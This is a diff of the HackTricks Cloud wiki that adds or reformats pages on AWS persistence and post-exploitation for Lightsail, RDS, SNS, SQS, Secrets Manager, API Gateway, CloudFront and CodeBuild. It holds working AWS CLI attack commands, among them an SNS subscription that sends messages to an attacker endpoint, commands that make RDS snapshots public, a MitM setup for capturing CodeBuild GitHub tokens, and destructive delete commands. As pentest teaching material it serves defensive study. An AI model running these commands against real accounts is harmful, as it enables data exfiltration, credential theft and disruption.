-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
new file mode 100644
index 000000000..ca387e687
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
@@ -0,0 +1,33 @@
+# AWS - Lightsail Persistence
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Lightsail
+
+For more information check:
+
+{{#ref}}
+../aws-services/aws-lightsail-enum.md
+{{#endref}}
+
+### Download Instance SSH keys & DB passwords
+
+They won't be changed probably so just having them is a good option for persistence
+
+### Backdoor Instances
+
+An attacker could get access to the instances and backdoor them:
+
+- Using a traditional **rootkit** for example
+- Adding a new **public SSH key**
+- Expose a port with port knocking with a backdoor
+
+### DNS persistence
+
+If domains are configured:
+
+- Create a subdomain pointing your IP so you will have a **subdomain takeover**
+- Create **SPF** record allowing you to send **emails** from the domain
+- Configure the **main domain IP to your own one** and perform a **MitM** from your IP to the legit ones
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
new file mode 100644
index 000000000..83e574fbe
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
@@ -0,0 +1,31 @@
+# AWS - RDS Persistence
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## RDS
+
+For more information check:
+
+{{#ref}}
+../aws-services/aws-relational-database-rds-enum.md
+{{#endref}}
+
+### Make instance publicly accessible: `rds:ModifyDBInstance`
+
+An attacker with this permission can **modify an existing RDS instance to enable public accessibility**.
+
+```bash
+aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
+```
+
+### Create an admin user inside the DB
+
+An attacker could just **create a user inside the DB** so even if the master users password is modified he **doesn't lose the access** to the database.
+
+### Make snapshot public
+
+```bash
+aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
new file mode 100644
index 000000000..6db5208b1
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
@@ -0,0 +1,25 @@
+# AWS - S3 Persistence
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## S3
+
+For more information check:
+
+{{#ref}}
+../aws-services/aws-s3-athena-and-glacier-enum.md
+{{#endref}}
+
+### KMS Client-Side Encryption
+
+When the encryption process is done the user will use the KMS API to generate a new key (`aws kms generate-data-key`) and he will **store the generated encrypted key inside the metadata** of the file ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) so when the decrypting occur it can decrypt it using KMS again:
+
+<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
+
+Therefore, and attacker could get this key from the metadata and decrypt with KMS (`aws kms decrypt`) to obtain the key used to encrypt the information. This way the attacker will have the encryption key and if that key is reused to encrypt other files he will be able to use it.
+
+### Using S3 ACLs
+
+Although usually ACLs of buckets are disabled, an attacker with enough privileges could abuse them (if enabled or if the attacker can enable them) to keep access to the S3 bucket.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
new file mode 100644
index 000000000..e38afcdea
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
@@ -0,0 +1,53 @@
+# AWS - Secrets Manager Persistence
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Secrets Manager
+
+For more info check:
+
+{{#ref}}
+../aws-services/aws-secrets-manager-enum.md
+{{#endref}}
+
+### Via Resource Policies
+
+It's possible to **grant access to secrets to external accounts** via resource policies. Check the [**Secrets Manager Privesc page**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) for more information. Note that to **access a secret**, the external account will also **need access to the KMS key encrypting the secret**.
+
+### Via Secrets Rotate Lambda
+
+To **rotate secrets** automatically a configured **Lambda** is called. If an attacker could **change** the **code** he could directly **exfiltrate the new secret** to himself.
+
+This is how lambda code for such action could look like:
+
+```python
+import boto3
+
+def rotate_secrets(event, context):
+    # Create a Secrets Manager client
+    client = boto3.client('secretsmanager')
+
+    # Retrieve the current secret value
+    secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
+
+    # Rotate the secret by updating its value
+    new_secret_value = rotate_secret(secret_value)
+    client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
+
+def rotate_secret(secret_value):
+    # Perform the rotation logic here, e.g., generate a new password
+
+    # Example: Generate a new password
+    new_secret_value = generate_password()
+
+    return new_secret_value
+
+def generate_password():
+    # Example: Generate a random password using the secrets module
+    import secrets
+    import string
+    password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
+    return password
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
new file mode 100644
index 000000000..fc0a2bced
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
@@ -0,0 +1,81 @@
+# AWS - SNS Persistence
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## SNS
+
+For more information check:
+
+{{#ref}}
+../aws-services/aws-sns-enum.md
+{{#endref}}
+
+### Persistence
+
+When creating a **SNS topic** you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
+The following policy gives everyone in AWS access to read and write in the SNS topic called **`MySNS.fifo`**:
+
+```json
+{
+  "Version": "2008-10-17",
+  "Id": "__default_policy_ID",
+  "Statement": [
+    {
+      "Sid": "__default_statement_ID",
+      "Effect": "Allow",
+      "Principal": {
+        "AWS": "*"
+      },
+      "Action": [
+        "SNS:Publish",
+        "SNS:RemovePermission",
+        "SNS:SetTopicAttributes",
+        "SNS:DeleteTopic",
+        "SNS:ListSubscriptionsByTopic",
+        "SNS:GetTopicAttributes",
+        "SNS:AddPermission",
+        "SNS:Subscribe"
+      ],
+      "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
+      "Condition": {
+        "StringEquals": {
+          "AWS:SourceOwner": "318142138553"
+        }
+      }
+    },
+    {
+      "Sid": "__console_pub_0",
+      "Effect": "Allow",
+      "Principal": {
+        "AWS": "*"
+      },
+      "Action": "SNS:Publish",
+      "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+    },
+    {
+      "Sid": "__console_sub_0",
+      "Effect": "Allow",
+      "Principal": {
+        "AWS": "*"
+      },
+      "Action": "SNS:Subscribe",
+      "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+    }
+  ]
+}
+```
+
+### Create Subscribers
+
+To continue exfiltrating all the messages from all the topics and attacker could **create subscribers for all the topics**.
+
+Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used.
+
+```bash
+aws sns subscribe --region <region> \
+    --protocol http \
+    --notification-endpoint http://<attacker>/ \
+    --topic-arn <arn>
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
new file mode 100644
index 000000000..50076c346
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
@@ -0,0 +1,39 @@
+# AWS - SQS Persistence
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## SQS
+
+For more information check:
+
+{{#ref}}
+../aws-services/aws-sqs-and-sns-enum.md
+{{#endref}}
+
+### Using resource policy
+
+In SQS you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
+The following policy gives everyone in AWS access to everything in the queue called **MyTestQueue**:
+
+```json
+{
+  "Version": "2008-10-17",
+  "Id": "__default_policy_ID",
+  "Statement": [
+    {
+      "Sid": "__owner_statement",
+      "Effect": "Allow",
+      "Principal": {
+        "AWS": "*"
+      },
+      "Action": ["SQS:*"],
+      "Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
+    }
+  ]
+}
+```
+
+> [!NOTE]
+> You could even **trigger a Lambda in the attackers account every-time a new message** is put in the queue (you would need to re-put it) somehow. For this follow these instructinos: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
similarity index 100%
rename from pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
rename to src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
new file mode 100644
index 000000000..b86077b38
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
@@ -0,0 +1,21 @@
+# AWS - Step Functions Persistence
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Step Functions
+
+For more information check:
+
+{{#ref}}
+../aws-services/aws-stepfunctions-enum.md
+{{#endref}}
+
+### Step function Backdooring
+
+Backdoor a step function to make it perform any persistence trick so every time it's executed it will run your malicious steps.
+
+### Backdooring aliases
+
+If the AWS account is using aliases to call step functions it would be possible to modify an alias to use a new backdoored version of the step function.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
similarity index 65%
rename from pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
rename to src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
index 45549a99e..f95eb4b7e 100644
--- a/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
@@ -1,27 +1,14 @@
 # AWS - STS Persistence
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## STS
 
 For more information access:
 
-{% content-ref url="../aws-services/aws-sts-enum.md" %}
-[aws-sts-enum.md](../aws-services/aws-sts-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-services/aws-sts-enum.md
+{{#endref}}
 
 ### Assume role token
 
@@ -54,9 +41,8 @@ optional arguments:
   -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
 ```
 
-{% hint style="danger" %}
-Note that the [find\_circular\_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) script from that Github repository doesn't find all the ways a role chain can be configured.
-{% endhint %}
+> [!CAUTION]
+> Note that the [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) script from that Github repository doesn't find all the ways a role chain can be configured.
 
 <details>
 
@@ -142,17 +128,4 @@ Write-Host "Role juggling check complete."
 
 </details>
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md
similarity index 100%
rename from pentesting-cloud/aws-security/aws-post-exploitation/README.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/README.md
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
similarity index 66%
rename from pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
index 405ff5e93..6eff1bc94 100644
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
@@ -1,27 +1,14 @@
 # AWS - API Gateway Post Exploitation
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## API Gateway
 
 For more information check:
 
-{% content-ref url="../aws-services/aws-api-gateway-enum.md" %}
-[aws-api-gateway-enum.md](../aws-services/aws-api-gateway-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-services/aws-api-gateway-enum.md
+{{#endref}}
 
 ### Access unexposed APIs
 
@@ -36,22 +23,18 @@ As indicated in the [**AWS documentation**](https://docs.aws.amazon.com/AWSCloud
 
 Therefore, in the CTF the API Gateway had an integration template that was **preventing the flag from being exfiltrated** in a response when a request was sent with `Content-Type: application/json`:
 
-{% code overflow="wrap" %}
 ```yaml
-      RequestTemplates:
-        application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
+RequestTemplates:
+  application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
 ```
-{% endcode %}
 
 However, sending a request with **`Content-type: text/json`** would prevent that filter.
 
 Finally, as the API Gateway was only allowing `Get` and `Options`, it was possible to send an arbitrary dynamoDB query without any limit sending a POST request with the query in the body and using the header `X-HTTP-Method-Override: GET`:
 
-{% code overflow="wrap" %}
 ```bash
 curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
 ```
-{% endcode %}
 
 ### Usage Plans DoS
 
@@ -63,7 +46,6 @@ The **API Key** just need to be **included** inside a **HTTP header** called **`
 
 An attacker with the permissions `apigateway:UpdateGatewayResponse` and `apigateway:CreateDeployment` can **modify an existing Gateway Response to include custom headers or response templates that leak sensitive information or execute malicious scripts**.
 
-{% code overflow="wrap" %}
 ```bash
 API_ID="your-api-id"
 RESPONSE_TYPE="DEFAULT_4XX"
@@ -74,19 +56,16 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-{% endcode %}
 
 **Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources.
 
-{% hint style="info" %}
-Need testing
-{% endhint %}
+> [!NOTE]
+> Need testing
 
 ### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
 
 An attacker with the permissions `apigateway:UpdateStage` and `apigateway:CreateDeployment` can **modify an existing API Gateway stage to redirect traffic to a different stage or change the caching settings to gain unauthorized access to cached data**.
 
-{% code overflow="wrap" %}
 ```bash
 API_ID="your-api-id"
 STAGE_NAME="Prod"
@@ -97,13 +76,11 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-{% endcode %}
 
 **Potential Impact**: Unauthorized access to cached data, disrupting or intercepting API traffic.
 
-{% hint style="info" %}
-Need testing
-{% endhint %}
+> [!NOTE]
+> Need testing
 
 ### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
 
@@ -124,9 +101,8 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 
 **Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources.
 
-{% hint style="info" %}
-Need testing
-{% endhint %}
+> [!NOTE]
+> Need testing
 
 ### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
 
@@ -144,9 +120,8 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 
 **Potential Impact**: Weakening the security of the API, potentially allowing unauthorized access or exposing sensitive information.
 
-{% hint style="info" %}
-Need testing
-{% endhint %}
+> [!NOTE]
+> Need testing
 
 ### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
 
@@ -165,21 +140,7 @@ aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_K
 
 **Potential Impact**: Unauthorized access to API resources, bypassing security controls.
 
-{% hint style="info" %}
-Need testing
-{% endhint %}
+> [!NOTE]
+> Need testing
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
new file mode 100644
index 000000000..ebcb510d5
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
@@ -0,0 +1,31 @@
+# AWS - CloudFront Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## CloudFront
+
+For more information check:
+
+{{#ref}}
+../aws-services/aws-cloudfront-enum.md
+{{#endref}}
+
+### Man-in-the-Middle
+
+This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) proposes a couple of different scenarios where a **Lambda** could be added (or modified if it's already being used) into a **communication through CloudFront** with the purpose of **stealing** user information (like the session **cookie**) and **modifying** the **response** (injecting a malicious JS script).
+
+#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket
+
+- **Create** the malicious **function**.
+- **Associate** it with the CloudFront distribution.
+- Set the **event type to "Viewer Response"**.
+
+Accessing the response you could steal the users cookie and inject a malicious JS.
+
+#### scenario 2: MitM where CloudFront is already using a lambda function
+
+- **Modify the code** of the lambda function to steal sensitive information
+
+You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
new file mode 100644
index 000000000..913b55a5b
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
@@ -0,0 +1,84 @@
+# AWS - CodeBuild Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## CodeBuild
+
+For more information, check:
+
+{{#ref}}
+../../aws-services/aws-codebuild-enum.md
+{{#endref}}
+
+### Check Secrets
+
+If credentials have been set in Codebuild to connect to Github, Gitlab or Bitbucket in the form of personal tokens, passwords or OAuth token access, these **credentials are going to be stored as secrets in the secret manager**.\
+Therefore, if you have access to read the secret manager you will be able to get these secrets and pivot to the connected platform.
+
+{{#ref}}
+../../aws-privilege-escalation/aws-secrets-manager-privesc.md
+{{#endref}}
+
+### Abuse CodeBuild Repo Access
+
+In order to configure **CodeBuild**, it will need **access to the code repo** that it's going to be using. Several platforms could be hosting this code:
+
+<figure><img src="../../../../images/image (96).png" alt=""><figcaption></figcaption></figure>
+
+The **CodeBuild project must have access** to the configured source provider, either via **IAM role** of with a github/bitbucket **token or OAuth access**.
+
+An attacker with **elevated permissions in over a CodeBuild** could abuse this configured access to leak the code of the configured repo and others where the set creds have access.\
+In order to do this, an attacker would just need to **change the repository URL to each repo the config credentials have access** (note that the aws web will list all of them for you):
+
+<figure><img src="../../../../images/image (107).png" alt=""><figcaption></figcaption></figure>
+
+And **change the Buildspec commands to exfiltrate each repo**.
+
+> [!WARNING]
+> However, this **task is repetitive and tedious** and if a github token was configured with **write permissions**, an attacker **won't be able to (ab)use those permissions** as he doesn't have access to the token.\
+> Or does he? Check the next section
+
+### Leaking Access Tokens from AWS CodeBuild
+
+You can leak access given in CodeBuild to platforms like Github. Check if any access to external platforms was given with:
+
+```bash
+aws codebuild list-source-credentials
+```
+
+{{#ref}}
+aws-codebuild-token-leakage.md
+{{#endref}}
+
+### `codebuild:DeleteProject`
+
+An attacker could delete an entire CodeBuild project, causing loss of project configuration and impacting applications relying on the project.
+
+```bash
+aws codebuild delete-project --name <value>
+```
+
+**Potential Impact**: Loss of project configuration and service disruption for applications using the deleted project.
+
+### `codebuild:TagResource` , `codebuild:UntagResource`
+
+An attacker could add, modify, or remove tags from CodeBuild resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags.
+
+```bash
+aws codebuild tag-resource --resource-arn <value> --tags <value>
+aws codebuild untag-resource --resource-arn <value> --tag-keys <value>
+```
+
+**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
+
+### `codebuild:DeleteSourceCredentials`
+
+An attacker could delete source credentials for a Git repository, impacting the normal functioning of applications relying on the repository.
+
+```sql
+aws codebuild delete-source-credentials --arn <value>
+```
+
+**Potential Impact**: Disruption of normal functioning for applications relying on the affected repository due to the removal of source credentials.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
new file mode 100644
index 000000000..e433f04eb
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
@@ -0,0 +1,188 @@
+# AWS Codebuild - Token Leakage
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Recover Github/Bitbucket Configured Tokens
+
+First, check if there are any source credentials configured that you could leak:
+
+```bash
+aws codebuild list-source-credentials
+```
+
+### Via Docker Image
+
+If you find that authentication to for example Github is set in the account, you can **exfiltrate** that **access** (**GH token or OAuth token**) by making Codebuild to **use an specific docker image** to run the build of the project.
+
+For this purpose you could **create a new Codebuild project** or change the **environment** of an existing one to set the **Docker image**.
+
+The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). This is a very basic Docker image that will set the **env variables `https_proxy`**, **`http_proxy`** and **`SSL_CERT_FILE`**. This will allow you to intercept most of the traffic of the host indicated in **`https_proxy`** and **`http_proxy`** and trusting the SSL CERT indicated in **`SSL_CERT_FILE`**.
+
+1. **Create & Upload your own Docker MitM image**
+   - Follow the instructions of the repo to set your proxy IP address and set your SSL cert and **build the docker image**.
+     - **DO NOT SET `http_proxy`** to not intercept requests to the metadata endpoint.
+   - You could use **`ngrok`** like `ngrok tcp 4444` lo set the proxy to your host
+   - Once you have the Docker image built, **upload it to a public repo** (Dockerhub, ECR...)
+2. **Set the environment**
+   - Create a **new Codebuild project** or **modify** the environment of an existing one.
+   - Set the project to use the **previously generated Docker image**
+
+<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
+
+3. **Set the MitM proxy in your host**
+
+- As indicated in the **Github repo** you could use something like:
+
+```bash
+mitmproxy --listen-port 4444  --allow-hosts "github.com"
+```
+
+> [!TIP]
+> The **mitmproxy version used was 9.0.1**, it was reported that with version 10 this might not work.
+
+4. **Run the build & capture the credentials**
+
+- You can see the token in the **Authorization** header:
+
+  <figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
+
+This could also be done from the aws cli with something like
+
+```bash
